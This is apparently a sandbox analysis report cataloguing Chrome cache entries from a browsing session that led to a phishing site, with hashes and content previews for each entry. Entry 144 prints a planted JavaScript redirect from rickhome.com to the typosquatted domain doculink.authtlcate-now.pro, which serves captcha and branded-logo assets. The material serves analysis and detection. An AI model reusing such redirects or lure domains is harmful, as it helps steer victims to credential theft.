SHA-256:	81028B648FBA3552A10E6D74A97B300DE43315352B1D4714FDF57A7544DF6712
SHA-512:	F30AA777692A6DEA9752F6F4818D9DDFBE1C98AF3AD6DE444646CE3B4D4C5C9B40E44CF3ABAFB5836413FE022AB492ADE038343E073BE62583FCA149CE070D0C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...j.....`".....?iCCPICC Profile..H..W.XS...[..@h........@J.-.."..I.Pb...;....E.l.b...Y...E..e],.7)....}s...9.3..-...).H.....#.......'%.I=..:...-.7W........w..'...R....W...s.. Q...r.9.......y......<......0A..Kq..WIq...... n.@I......z...\|n:.P..Q....P.C.3..q....G..T....N..4S.59..a,.......l......r.%C1,aS....H...v;kj...@.'L...X.......b..!.......\......u.q.. 6.8H.....S..Al...A..y.8.u!^....U.l.O.Q.B...,.......Jc=.d.3...3.l.>.Z....1.b.\|AB...;.f.)\|..f.".\|..i........r},?M..../..../.9C..P..y.q!..`-\.,.8.._............(.;.....t>...c.cq.(;J....).......xB.\.r}<M...'../..F...W.p.....$.... .........'.p....>.W0C#.e=Bx....O.. wx......!.u....A..7_6".<.8...lx-....GK.O #.Gt.l\.o6l........&d...d("]m..H. ....6.>.{.........=......NxL.I.$."(....8......H....%.t..qo...q.\....0.....]!.R.-...'.......#;.Q...........*.Z.X.y....f......C.y....'..;...Nc..cX..c'.F..;....lu.E....u...7tg...u.u.u."....H..5U4C,H..3...Og.....N.N..H./...h.w..i..-......G.s.'....

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/o/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff82
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17673)
Category:	downloaded
Size (bytes):	18268
Entropy (8bit):	5.619856960314813
Encrypted:	false
SSDEEP:	384:Va/VuX6x1E4rZ5gIcAGn5o86/TZeIeaedo/939zg:Ukqxe4rZ5gIcAGnQ/tEaeE9C
MD5:	9FBB8606566EBF96C502666BFFFD254A
SHA1:	FEB80CB296B30432EC659D7EEDFE3C6022A450E2
SHA-256:	9644D7AB8F581B9FDE8F5C3B9B84FD370FF52F1D4E71DD60B5E590A6C7D5FD39
SHA-512:	7C9C38D0710B52EE4761EEAC4E50BB8F5E319C5AFA49253888D0F45B42DB03DE244181AF62A0BC0431D0AB963AB04A5FD2263907CE0B1188BCB1F6954622204C
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p})}catch(P){e.console&&e.console.error(P.message)}return N},p=function(R){return R},e=this\|\|self;(0,eval)(function(R,N){return(N=f())&&1===R.eval(N.createScript("1"))?function(P){return N.createScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438==R\|\|331==R)N.X[R]?N.X[R].concat(p):N.X[R]=N_(p,N);else{if(N.ri&&247!=R)return;466==R\|\|163==R\|\|161==R\|\|301==R\|\|172==R\|\|120==R\|\|59==R\|\|298==R\|\|344==R?N.X[R]\|\|(N.X[R]=PR(N,p,R,142)):N.X[R]=PR(N,p,R,49)}247==R&&(N.h=q(false,32,N),N.R=void 0)},eZ=function(R,N,p,e){W((e=V((p=V(R),R)),e),R,z(N,Z(p,R)))},sH=

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (631)
Category:	downloaded
Size (bytes):	517649
Entropy (8bit):	5.713376874006511
Encrypted:	false
SSDEEP:	6144:m1K1Z7NMxjW6eJoWvAlUjWwuMSYCVvLk8DSWd1Ps8Jz38iZc:m6eWTAujfuPY0JGgkt
MD5:	E2E79D6B927169D9E0E57E3BAECC0993
SHA1:	1299473950B2999BA0B7F39BD5E4A60EAFD1819D
SHA-256:	231336ED913A5EBD4445B85486E053CAF2B81CAB91318241375F3F7A245B6C6B
SHA-512:	D6A2ED7B19E54D1447EE9BBC684AF7101B48086945A938A5F9B6AE74ACE30B9A98CA83D3183814DD3CC40F251AB6433DC7F8B425F313EA9557B83E1C2E035DFF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 55, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlQIl1xl/k4E08up:6v/lhP+IH7Tp
MD5:	3ACB0639E2BFD4EDC813579BD5DAC4C1
SHA1:	433C1F5B93D12B2A28384F09CB50701633F8B8AB
SHA-256:	7DF91115069D79E0B2026DB934C3772C7ED11BCBA33FD0DD7BAE74D17F72F2AC
SHA-512:	CE3379441C3CB7E9938AFE790EDB66ED44CF5FE37E86417BF9C59EBE99404436B055A4DD2DF7034B32C2821BFA9B5E7A3B0A179D12D574156E886AE522C2513C
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879eb051688c6769/1714051839197/XZM7Ab2ULlZmj4F
Preview:	.PNG........IHDR.......7........L....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, last modified: Mon Dec 26 13:58:43 2022, max compression, from Unix, original size modulo 2^32 510
Category:	downloaded
Size (bytes):	301
Entropy (8bit):	7.3010369840098415
Encrypted:	false
SSDEEP:	6:XOo7LJNN5up8x1ExXjyUeSTYGU/H2BKtWSp/Y8PeM4opIuI/0BAn:XOo79NNUaoXcHOjS+qez0e0G
MD5:	F391F0ECE4E604DA4A9138CB1DAA1E6D
SHA1:	44807F5D10E263FEE010F0579AAAD24F90EB3E39
SHA-256:	55E5A31D99A23B6896898247619FA88F0829F3E8BCF8980B7B9C0F29CCFCAFD7
SHA-512:	B4B7FFBEE39A7C945B7C8FE9D6A57B294DA2437A5CABD03D503008661FD50DE1A8573808BA25EDE30991D42BE4C91EF898C474EB6F1B88DC19E02B804E847626
Malicious:	false
Reputation:	low
URL:	https://img.robly.com/assets/v2/public/landing_page/index-6496ce865c034b4fe3e0da5aa72ed444ff1bfdc0521fb3e17e24a979bbb8c14c.js
Preview:	.......c..u.AN.0.E...l).Z.........'.E2..1j...iA........?.....'F.m....d...E.:....Ws.6.,.Jq.l....*.....B.l.d...0.s$.8..7..$U..v/...R.\-g...V.u..^7P8......m.&Lh.S..!xj!..p.#...r.z ....R.....Y.(T~]G.../..v.....eg 1.......r.Z............5."N..._..@1`.....Q6.#.....Py6W..G.N...s......j....

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7372
Entropy (8bit):	7.9308028070746746
Encrypted:	false
SSDEEP:	192:5pVfDg0hOfu4Ai9eGW0QW9D73IPystqKWGO:dfc0h29erc7YPysWl
MD5:	EC3540F025D9B0348C7478D32E90B176
SHA1:	4B70A65BB5CDC669D5DCD3EA9D422FEC0A300829
SHA-256:	3ECD1981672AC39DE3B2FCC74A081F5000498685FCAF769121840C48BE2B6F06
SHA-512:	7606A3B20E2ACD7FE2EF36103ECFA28BFD6434F7455F259476332C9B3268801FA494D52A5C56998FF1EA44871B4356304D9797BA49544C85A7776D4024FEF5A0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............e..5....gAMA......a.....sRGB.........PLTEGpL.`..:......X&.X&.n..r..t.t.f........?....<..<..?......u.l(.u+.(..u.l(....)..X%.p.......)..s........i(.h#.s.r.t.,..)..U$.V$.\%...........p(8...u+.,..W$.Y%.t+.X%.t.s.)..e&.c,...........X&.W%..........)..\$.......)..q.........X%.V$....X%.W%.)..x8..........!.......t......X&.......u.....>.......s).Y&.W%.w.n).'........r(.p)..........t....s,....p&.o&.t0.Z&.s+.v+.......q,....l%....c'.]&..p.m...t.h(.S".......<..5..I"..2.....>..../..z...6........_.y<..c....H......C!..>.#...h..k.U$..............~................u..<........C.....J.....w..........z.....t....P#.v4..3..[..T..<..W..............X........b....).Z%.....K.....N..kFFF.m6,*%SST.....0...uuu666..............8..3..............gba_..m........`H?)n_6..N.c.`..Z.a....@.....1...`tRNS................U$..2....+...5.A....W .e.u^.\|f1i.$B..?C...lK........<wF.w.YY.....Y....J/v.....IDATx..[KL[g....k_$.0....Myu..A...M.D.....xt

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17691)
Category:	downloaded
Size (bytes):	18286
Entropy (8bit):	5.657053952613787
Encrypted:	false
SSDEEP:	384:G6xtuO2dsg6Phba/d+WZKVfefg9TbDy2A1U41HHWeaeoCwGxJRJ/LrD:GrP6od+ZNJY/aep3z/
MD5:	040162F6DA25C64FEAAED69ABC0AC96B
SHA1:	818D0D73C7EFDEAFE6898255D407C519173A5131
SHA-256:	7F2085DE59A8FCE6270BFF6B196505F82790BED38428AAD350AFD75D2D45775B
SHA-512:	A1F8DA6A8B86BA58FB172C0C23FFFEBDA940FA52219C5E21A64C694FEEEA66E5E536A266433CA8A1AF6776E9A90AFB1A8E285CD070FCF1951130E2B798EBC7E9
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/fyCF3lmo_OYnC_9rGWUF-CeQvtOEKKrTUK_XXS1Fd1s.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var S=function(a,N){if(!(a=(N=U.trustedTypes,null),N)\|\|!N.createPolicy)return a;try{a=N.createPolicy("bg",{createHTML:m,createScript:m,createScriptURL:m})}catch(y){U.console&&U.console.error(y.message)}return a},U=this\|\|self,m=function(a){return a};(0,eval)(function(a,N){return(N=S())&&1===a.eval(N.createScript("1"))?function(y){return N.createScript(y)}:function(y){return""+y}}(U)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var V=this\|\|self,ah=function(a,N,y){return N.tf(function(m){y=m},false,a),y},yU=function(a,N,y,m,Q,w){return(w=H[a.substring(0,3)+"_"])?w(a.substring(3),N,y,m,Q):N_(a,N)},mi=function(a,N,y,m){for(;N.S.length;){m=(N.W=null,N).S.pop();try{y=Up(N,m)}catch(Q){z(Q,N)}if(a&&N.W){(a=N.W,a)(function(){I(N,true,true)});break}}return y},Z=function(a,N){if((a=a.v[N],void 0)===a)throw[G,30,N];if(a.value)return a.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50858)
Category:	downloaded
Size (bytes):	50934
Entropy (8bit):	5.3061192759329705
Encrypted:	false
SSDEEP:	768:6ZxW1FpIqCCyhuHSyvH0UlOrt8G13EL9kjbRoz+98ScvLoW+cFckg4ca6KXNboRN:2W7TvLoW+cF7KReoQsfmOUDcHb6i3X
MD5:	04045B88714F08119A0E2FCB74624F22
SHA1:	5833C908F1F7DF324CA7AA08BD237C73CB214B29
SHA-256:	AC2185EAF27DB9D83C2688A55C428A5F18BBE41D8F769C58F41F081B8B17834B
SHA-512:	3A2407A86C85E8F5583E308777C6253E463E7E85806F9B075A2B907837756677B67EA1AABF0DAB5CB28F462C651EBCD20979D1E525F6E52787F59D992A9C2189
Malicious:	false
Reputation:	low
URL:	https://js-agent.newrelic.com/nr-rum-1.257.0.min.js
Preview:	/! For license information please see nr-rum-1.257.0.min.js.LICENSE.txt /."use strict";(self["webpackChunk:NRBA-1.257.0.PROD"]=self["webpackChunk:NRBA-1.257.0.PROD"]\|\|[]).push([[75],{2573:(t,e,n)=>{n.d(e,{o:()=>c});var r=n(4247),i=n(1117),s=n(8673),a=n(8310),o=n(7056);class c extends i.w{constructor(t,e,n){super(n),this.endpoint=t,this.opts=e\|\|{},this.started=!1,this.timeoutHandle=null,this.aborted=!1,this.harvest=new s.M(this.sharedContext),(0,a.L)(this.unload.bind(this)),this.sharedContext?.ee.on(o.wO.RESET,(()=>this.runHarvest({forceNoRetry:!0})))}unload(){this.aborted\|\|(this.opts.onUnload&&this.opts.onUnload(),this.runHarvest({unload:!0}))}startTimer(t,e){this.interval=t,this.started=!0,this.scheduleHarvest(null!=e?e:this.interval)}stopTimer(){let t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.aborted=t,this.started=!1,this.timeoutHandle&&clearTimeout(this.timeoutHandle)}scheduleHarvest(t,e){this.timeoutHandle\|\|(null==t&&(t=this.interval),this.timeoutHandle=setTim

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	30276
Entropy (8bit):	7.954188357367954
Encrypted:	false
SSDEEP:	768:ex50g9SSRLrs6W/PR/vdtaK9+cJ/AnM2xJB9iTzMW:ex99PLIj/tdpdaZJiTzd
MD5:	AB469A96BF9E08BE9BFBE3DB6B168AF9
SHA1:	4EB775C2D7DFDD660B8D0E41AF1D33018FFD7C8C
SHA-256:	DB94C517D0E7ACF08D3BFA410C42F7E792C56AF74F872F00F7554B9DCA7DAA76
SHA-512:	3EA0F3C645869BD15E3910D0C2B5B124B387AEF2991F993F04949F6244BA216BF04641F5ECCA38228B1346D8B9E07F965CE83C4B0C0AADB921FB3C5ACF0EBA71
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA4FZyNsaNE7-9uQkNBql1kxIYkOSyDw6ux814X4q-qVDRD-GTznrIshOU9-qF9Banu-WAyZ3DJM9mqROfBcPxrWwIosE3BC2sGY434woUXFGDcCL9Cmu0nvsy6OO0HrsSrzS5PCKeh6sI5Fc7mgdOw0F5UDaA1x2yjVGl7EVLbUUG9AK6egYXmp1k5sLEwJmISM6yGH&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..C..`.EE...j.....r......HA.g..8.<Q.b......<.=E..C.X...L....P[9.4.B.i..'q......Gz.N:s.q.qR.B.m.E5...........B...O.)[..HNr.4.....!...NT.....3.n..c u.C.2i_.v.I..}(PO9.B..09...J...$u.....H8.z...F8.Y...sS..D.....i...U..Z.....O.+._E%..N..Y..U.{.....?e..1....Of#..:.p.\.qJ..rz.i.[.'.. ....R..Z\.hP.f..3.<.....d.....<PRdE....X...].<s. BNH.Xc.)\...v...Q..:s. .....N:v.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.8013557344442175
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKVnIwN4wECWaee:PLKdXNQKVnDoCL
MD5:	284B36421A1CF446F32CB8F7987B1091
SHA1:	EB14D6298C9DA3FB26D75B54C087EA2DF9F3F05F
SHA-256:	94AB2BE973685680D0BE9C08D4E1A7465F3C09053CF631126BD33F49CC2F939B
SHA-512:	093F3F5624DE2E43E43EB06036107FF3260237F9E47E1F86FDFBA7C7036522187A9B47B291F5443C566658A8EF555E5033C7F2AC0C9F4FA8EB69EB8E2540B372
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/x/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff59
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.184482755717443
Encrypted:	false
SSDEEP:	6:otqWtxbQLZVVi7GeqlAGmwbQLZVZYZ7qT:o7xbK95eqKVaKiM
MD5:	B54D0452E2FDB8C0D91C455D1C5495F9
SHA1:	DDD85730B9CB4CB9905B1D7E7643F595D2F33CB8
SHA-256:	F4138D99EC6E17514BB87CEEAD1C1D2A204219C970864FC85BFF00949EE18082
SHA-512:	6883DE3ABB2A7B71CBDE6EDA0854D5B9EC696A0656735843BBB6329007D758B502D2557CB36D5A1CEFC7B4D0AB5DCBC227C88DE9163662741C60F9D561F5A367
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">. GSE Default Error -->.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.624316308070261
Encrypted:	false
SSDEEP:	3:gnkAqRAdu6/GY7voOkADFoHDtZq4t+6KceYLn:7AqJm7+mmHhTt+6heYL
MD5:	AD0AB0317A3C8513384F628078FFB511
SHA1:	E6BA0523127D9257C5C052A9EB38093CAC110609
SHA-256:	832C8384131A38F6FB2C5EAF4DE0BD37C564B2D4BA88B22F31F0B2E57A3C7EE4
SHA-512:	0D93FBE5F10AEE5EE573A7D3DFA1091B07AC1D2FB79A8034813F6C54E66EDDF222ECB8711FA8F43E82D8B9052A6FAD27044EBF2437004A38764AD3BFF743BA40
Malicious:	false
Reputation:	low
URL:	https://rickhome.com//securedoc/
Preview:	<script type="text/javascript">window.location.href = "https://doculink.authtlcate-now.pro/"</script>.

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3202
Entropy (8bit):	4.236796532981122
Encrypted:	false
SSDEEP:	96:1I7uAxrF5zHeZ2lLBUaaJP/DBzaJIQiSJTEm:mxrvlqaaZ/xaxi6TEm
MD5:	7D2B8F25545A2894E2721E9FE528E34C
SHA1:	D0DAE76F4BF5C04ACD5FCDF1BCB12908099E328C
SHA-256:	797BDA35D13E5130FE5A14E0069C31B46EC1AF6EA47F2D300309803BB4D2608C
SHA-512:	FE1F84AF0BA1100B2A90EE6FBFBD3763EF34D1A3BF045345538302ECE7D37EAADC9A9CD0E09C2030E62B13A55E118A2417B27F14336C271758BFB3E256906385
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/captcha/logo.svg
